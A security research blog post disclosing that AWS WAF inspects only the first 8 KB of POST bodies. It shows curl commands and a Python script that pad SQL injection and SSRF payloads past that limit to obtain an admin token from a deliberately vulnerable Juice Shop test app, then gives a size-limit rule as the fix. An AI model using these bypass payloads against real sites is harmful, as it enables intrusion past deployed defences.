AWS WAF's Dangerous Defaults

on SECURITY, AWS, WAF, RESEARCH
AWS WAF's Dangerous Defaults

AWS WAF’s defaults make bypassing trivial in POST requests, even when you enable the AWS Managed Rules

Introduction

If you are running any type of web application, you might have deployed a Web Application Firewall (WAF). WAFs are often used to protect web apps and APIs from common security attacks such as SQL injection, cross-site scripting, cross-site request forgery, and other attacks. As with any security solution, they aren’t a silver bullet but they can add a valuable layer of defense and give your team extra time to patch vulnerabilities in your application. They can also increase the time and cost of exploitation of known vulnerabilities and to serve as an early warning system of suspicious user activity (application logging typically falls short in this regard).

If you’re an AWS customer, the natural choice is AWS WAF. Some of its advantages include:

  • cost
  • ease of deployment
  • minimal operational overhead
  • available rulesets to use out of the box
  • automation (you can easily define, deploy and re-use your WAF rules using CloudFormation or Terraform or your favorite IaC tool)
  • flexible deployment options

Its deployment options include attaching AWS WAF to your:

  • CloudFront distributions
  • ALBs
  • API Gateways
  • AppSync GraphQL API

which basically covers any type of web application deployment in AWS. Although it does have a number of disadvantages (which I hope to cover in a future post) that you should consider before selecting it and its feature set and available rules fall short of more established WAFs such as ModSecurity and Signal Sciences, its ability to seamlessly integrate with your current architecture in AWS is a strong selling point. Traditionally, deploying WAFs from other vendors in AWS involved either:

  • re-architecting your design to have traffic go through a vendor’s virtual appliances
  • deploying agents on your endpoints, something you couldn’t do when working with something like Lambda until recently with the introduction Lambda Extensions)

both of which complicate your architecture and less than ideal.

The Problem

Having configured your WebACL (whether it is by selecting rule groups from the AWS Managed Rules or painstakingly crafting the perfect regular expressions to detect the latest CVE targeting your web apps and mock attackers trying to abuse it) and attached it to your AWS resource, you pat yourself on the back and relax, dreaming of finally taking a well-earned vacation as your glorious WebACL fends off the hoards of attackers assailing your web app.

Unfortunately, all is not well. Hidden deep within the recesses of AWS’s WAF documentation lies an ominous note:

Only the first 8 KB (8,192 bytes) of the request body are forwarded to AWS WAF for inspection. If you don’t need to inspect more than 8 KB, you can guarantee that you don’t allow additional bytes in by combining your statement that inspects the body of the web request with a size constraint rule statement that enforces an 8 KB max size on the body of the request.

At first, the implications of this are unclear. At the end of the day, it’s marked as a Note. Not a Warning. Not an Important. Simply a Note, like many other notes in the documentation. Slowly, the ramifications start to dawn on you. Any malicious payload that starts after the 8KB limit in a POST request will completely bypass your WAF unless you’ve explicitly added a rule to block any POST request greater than 8KB in size. Surely AWS WAF blocks this by default? Nope. Even the simplest SQL injection, the legendary:

' or 1=1;--

can fly by, ridiculing your AWS WAF deployment in the process. Surely it can’t be so. You remember seeing a size restriction rule in the AWS Managed Rules that you deployed so you should be safe. Frantically, you dig up the documentation and read in horror:

SizeRestrictions_BODY - Verifies that the request body size is at most 10,240 bytes.

What the?! Why isn’t this set to 8KB? As the vast majority of AWS WAF users aren’t WAF experts, you correctly argue that they, like you, will rely largely on the AWS Managed Ruleset (and the Core Rule Set to be more exact) to provide them with most of their WAF rules. Again, an attack can easily bypass this restriction by padding their payload and exploiting the WAF’s blind spot, the 8KB - 10KB range.

You discreetly log into the AWS Console, add your own rule to restrict the BODY size, hoping that your manager didn’t notice the new WebACL version you deployed, while reserving strong words for your AWS TAM.

UPDATE Six weeks after initially reporting this issue and two weeks after publishing this blog post, AWS updated their Managed Ruleset on Oct 27, 2021 and set it to 8KB instead of 10KB. This isn’t the best solution for a number of reasons (I go into more details on this in the Conclusion) but it is a lot better than the what it was. The relevant changelog states:

Reduced the size limit to block web requests with body payloads larger than 8 KB. Previously, the limit was 10 KB.

An Example

To test it out on a real vulnerable web application, we’ll use this CloudFormation template to quickly set up:

  • an EC2 instance running a copy of OWASP Juice Shop. OWASP Juice Shop is an insecure web application so if you want to follow along, I highly recommend deploying it in a separate dummy account and not on your production network. You’ve been warned
  • a CloudFront distribution pointing to the EC2 instance

After installing the CloudFormation template, we’ll find the CloudFront distribution URL in the Outputs section in CloudFormation. In our case, this is: https://d2rpms414stxar.cloudfront.net/. Before configuring AWS WAF and defining a WebACL to protect our web application, we can visit the web site and we see the site and login pages:

By inputting the following SQL injection string for the email field:

' or 1=1;--

along with any password, we are logged in with administrator privileges as shown below:

This is your most basic SQL injection attack. To perform the same attack from the CLI which we will use for the remainder of this example, we simply issue a curl request with our SQL injection:

$ export URL=d2rpms414stxar.cloudfront.net
$ curl -w "\n" -X POST $URL/rest/user/login -H 'Content-Type: application/json' -H "Origin: $URL" --data-raw $'{"email":"\' or 1=1;--","password":"password"}'

We get back a 200 response code and a JWT token which we can use in future requests to authenticate our requests:

{
    "authentication": {
        "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0QWRtaW4ucG5nIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDIxLTA5LTI5IDAxOjM3OjAyLjg1NyArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDIxLTA5LTI5IDAxOjM3OjAyLjg1NyArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE2MzI4OTI2MDcsImV4cCI6MTYzMjkxMDYwN30.NB9Q_bfsGjZrbAwwc4qaK572mMdecpWfYvVslyDjGAk46Kx2qLDNZ-_YkyijgNOR4ATuDpsxT_ozpSzz9nbJfzUoaMyTURvlrw1ezbsiJs_v2wTrcXozml0RNzdb1zxBaaI23yTBpjtsVKgpANL3UgAKUL09Lp4T4gSh_8VJgDE",
        "bid": 1,
        "umail": "admin@juice-sh.op"
    }
}

The token is sent in future requests to indicate that we are logged in as the administrator. To view the various fields in the payload, we can copy and paste the token value in https://jwt.io/. In our case, we see the following:

{
  "status": "success",
  "data": {
    "id": 1,
    "username": "",
    "email": "admin@juice-sh.op",
    "password": "0192023a7bbd73250516f069df18b500",
    "role": "admin",
    "deluxeToken": "",
    "lastLoginIp": "0.0.0.0",
    "profileImage": "assets/public/images/uploads/defaultAdmin.png",
    "totpSecret": "",
    "isActive": true,
    "createdAt": "2021-09-29 01:37:02.857 +00:00",
    "updatedAt": "2021-09-29 01:37:02.857 +00:00",
    "deletedAt": null
  },
  "iat": 1632892607,
  "exp": 1632910607
}

Now that we have verified that our application is vulnerable, it is time to deploy AWS WAF. In the AWS WAF Console, we’ll:

  • define a new Web ACL
  • associate it with our CloudFront distribution
  • under the Rules section, we’ll select the following rules from the AWS managed rule groups:
    • Core rule set
    • SQL database

as shown below

and proceed to create our Web ACL.

Now that our Web ACL is in place with both Core Rule Set and the SQL database protection in place, if we repeat our previous attack, it fails:

$ export URL=d2rpms414stxar.cloudfront.net
$ curl -w "\n" -X POST $URL/rest/user/login -H 'Content-Type: application/json' -H "Origin: $URL" --data-raw $'{"email":"\' or 1=1;--","password":"password"}'

and we get a 403 page instead:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>ERROR: The request could not be satisfied</TITLE>
</HEAD><BODY>
<H1>403 ERROR</H1>
<H2>The request could not be satisfied.</H2>
<HR noshade size="1px">
Request blocked.
We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.
<BR clear="all">
If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.
<BR clear="all">
<HR noshade size="1px">
<PRE>
Generated by cloudfront (CloudFront)
Request ID: NQ68F38oTojTa6JVxkcdNEsIbhu6NFGmbPbspQ7KPnid1gRt2J4hQw==
</PRE>
<ADDRESS>
</ADDRESS>
</BODY></HTML>

Great. So the AWS WAF is now blocking SQL injection attacks. Now it’s time to get our hands dirty. If we pad our input by 8192 bytes as shown below, we simply bypass the AWS WAF checks. Below is a Python version of our payload:

import json
import requests

domain = "d2rpms414stxar.cloudfront.net"
url = "http://" + domain + "/rest/user/login"
payload = {"email":"' or 1=1;--", "password": "password"}

reply = requests.post(url, data=8192 * " " + json.dumps(payload), headers={'Content-Type': 'application/json', 'Origin': domain})
print(reply.content)

And here is a bash version. I broke up the payload to make it clearer how to build a valid JSON request. Notice the 8192 padding.

$ export URL=d2rpms414stxar.cloudfront.net
$ payload="{"
$ payload+=$(printf ' %.0s' {1..8192})
$ payload+='"email":"'
$ payload+="' or 1=1;--"
$ payload+='","password":"password"}'

$ curl -w "\n" -X POST $URL/rest/user/login -H 'Content-Type: application/json' -H "Origin: $URL" --data-raw "$payload"

We get our authentication token back, bypassing the AWS WAF with the most basic example of SQL injection:

{
    "authentication": {
        "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0QWRtaW4ucG5nIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDIxLTA5LTI5IDAxOjM3OjAyLjIxNCArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDIxLTA5LTI5IDAxOjM3OjAyLjIxNCArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE2MzI4OTY0MjcsImV4cCI6MTYzMjkxNDQyN30.ZR_yBQBfZS1RMhzDcI-Az_ZYJSoDzvR7Vevije65h9T3I2qthjXGI2c1_LJu0PgdBDbQRxSAJmJsjn8531LFnIRN56wcXxb8ld7zzc8KqNX-dgv0MXVLdEOcY9xSoyyUBI7OaJIzM2mXShTJxJ4DlEoen-UT5nUqPidGwGbJ5y4",
        "bid": 1,
        "umail": "admin@juice-sh.op"
    }
}

Checking If Your Setup is Vulnerable

There is more than one way to verify if your AWS WAF setup is vulnerable or not. One option is to pad a POST request you know your WAF blocks and see if it succeeds or not in the same way we used in our example. If you are using the SQL database group, you can simply re-run the query shown above after adjusting the domain (the full URL isn’t important as the WAF will block a request before it reaches the web applicaiton). If you are using the Core Rule Set and not the SQL database, there are a number of BODY-related rules including:

  • EC2MetaDataSSRF_BODY
  • GenericLFI_BODY
  • GenericRFI_BODY
  • CrossSiteScripting_BODY

that you can use. For example, the EC2MetaDataSSRF_BODY rule looks for payloads that include URLs pointing to an internal IP address such as 127.0.0.1. For a more comprehensive list, refer to this. A simple request such as this will trigger the rule:

$ export URL=d2rpms414stxar.cloudfront.net
$ curl -w "\n" -X POST $URL/rest/user/login -H 'Content-Type: application/json' -H "Origin: $URL" --data-raw "http://127.0.0.1/"

and will be blocked by the WAF and your application will never receive the request. Again, by padding it, you can bypass the WAF and reach our application:

$ export URL=d2rpms414stxar.cloudfront.net
$ payload=$(printf ' %.0s' {1..8192})
$ payload+="http://127.0.0.1"
$ curl -w "\n" -X POST $URL/rest/user/login -H 'Content-Type: application/json' -H "Origin: $URL" --data-raw "$payload"

Another option is to go through your Web ACL, looking for any rule that limits uploads to 8K. To do so, you can:

  • logon to your AWS account and go to the WAF & Shield Console
  • under Web ACLs, click on Download Web ACL as JSON
  • search for the term SizeConstraintStatement. If you find it, ensure that this is:
    • applied to the BODY
    • detects payloads greater than 8192 character
    • blocks

An example of what you’re looking for is shown below:

{
  "Name": "BodySizeConstraint",
  "Priority": 0,
  "Statement": {
    "SizeConstraintStatement": {
      "FieldToMatch": {
        "Body": {}
      },
      "ComparisonOperator": "GT",
      "Size": 8192,
      "TextTransformations": [
        {
          "Priority": 0,
          "Type": "NONE"
        }
      ]
    }
  },
  "Action": {
    "Block": {}
  },
  "VisibilityConfig": {
    "SampledRequestsEnabled": true,
    "CloudWatchMetricsEnabled": true,
    "MetricName": "BodySizeConstraint"
  }
}

Mitigation

Mitigation is straight-forward as shown below. However, one key factor to keep in mind is that some of your pages may access payloads that are larger than this. For example, any page that supports file uploads will have to be whitelisted. For this reason, it is recommended that you initially set this rule to Count mode instead of Block mode and only move to Block mode once you are confident that this won’t impact your production environment.

To mitigate this attack, simply add a Size Constraint rule to block requests with a BODY greater than 8192 in size. You can do this by copying and pasting the JSON example in the section above as a new rule or by using the Console as shown below:

  • go to Web ACLs → Add rules → Add my own rules and rule groups
  • configure the rule as shown:

  • click on Add rule
  • you can optionally move your rule up to have it run before your other rules (recommended)

  • finally, re-run your previous attack requests and ensure that these requests are blocked

Conclusion

Before writing this blog post, I reached out to the AWS Security team to discuss this issue. Unfortunately, their response was disappointing to say the least. They mentioned that this is a known and documented limitation and that it was up to the customer to add this rule. However, this is in my opinion a flawed approach for the following reasons:

  • a small subset of users will actually go through the documentation of every service they use. AWS WAF, which is considered a niche service, has over 130 pages of documentation. IAM has over 800 pages. Expecting users to go through the documentation of each service they use and to understand the ramifications of everything in the documentation is unrealistic
  • customers expect that services are configured securely out of the box. Many AWS WAF users are using a WAF for the first time and it is typically developers or DevOps engineers configuring them, not trained security professionals with previous experience in WAF deployments
  • the majority of WAFs enable a similar feature out of the box to prevent this bypass
  • AWS’s own Core Rule Set has a body size restriction (SizeRestrictions_BODY). For some unfathomable reason, they decided to set this to 10K instead of 8K. Why they decided to do so is a mystery
  • even AWS-endorsed solutions such as the AWS WAF Security Automations also fail in applying the 8K limit. I found this kind of ironic that even AWS’s own internal teams didn’t apply this rule

Ideally, AWS would:

  • enable it as a default rule out of the box even if the user does not add any other rule as this is what the vast majority of WAFs correctly do
  • have an option for customers to easily whitelist certain URLs (for file uploads, etc.) to exclude them from this check
  • explicitly warn users of the ramifications of disabling this rule

At the bare minimum, AWS should warn users before saving or associating any WebACLs if their current configuration is vulnerable to this issue. If you’re designing systems, especially security systems, never rely on users reading through your documentation and understanding the security implications of what they read. Instead, give them safe defaults out of the box and make sure they understand the implications of disabling these defaults. This is one of the most basic controls mentioned in every standard and it’s unfortunate to see AWS breaking this rule. As a consumer, always verify your assumptions.

© 2022. All rights reserved.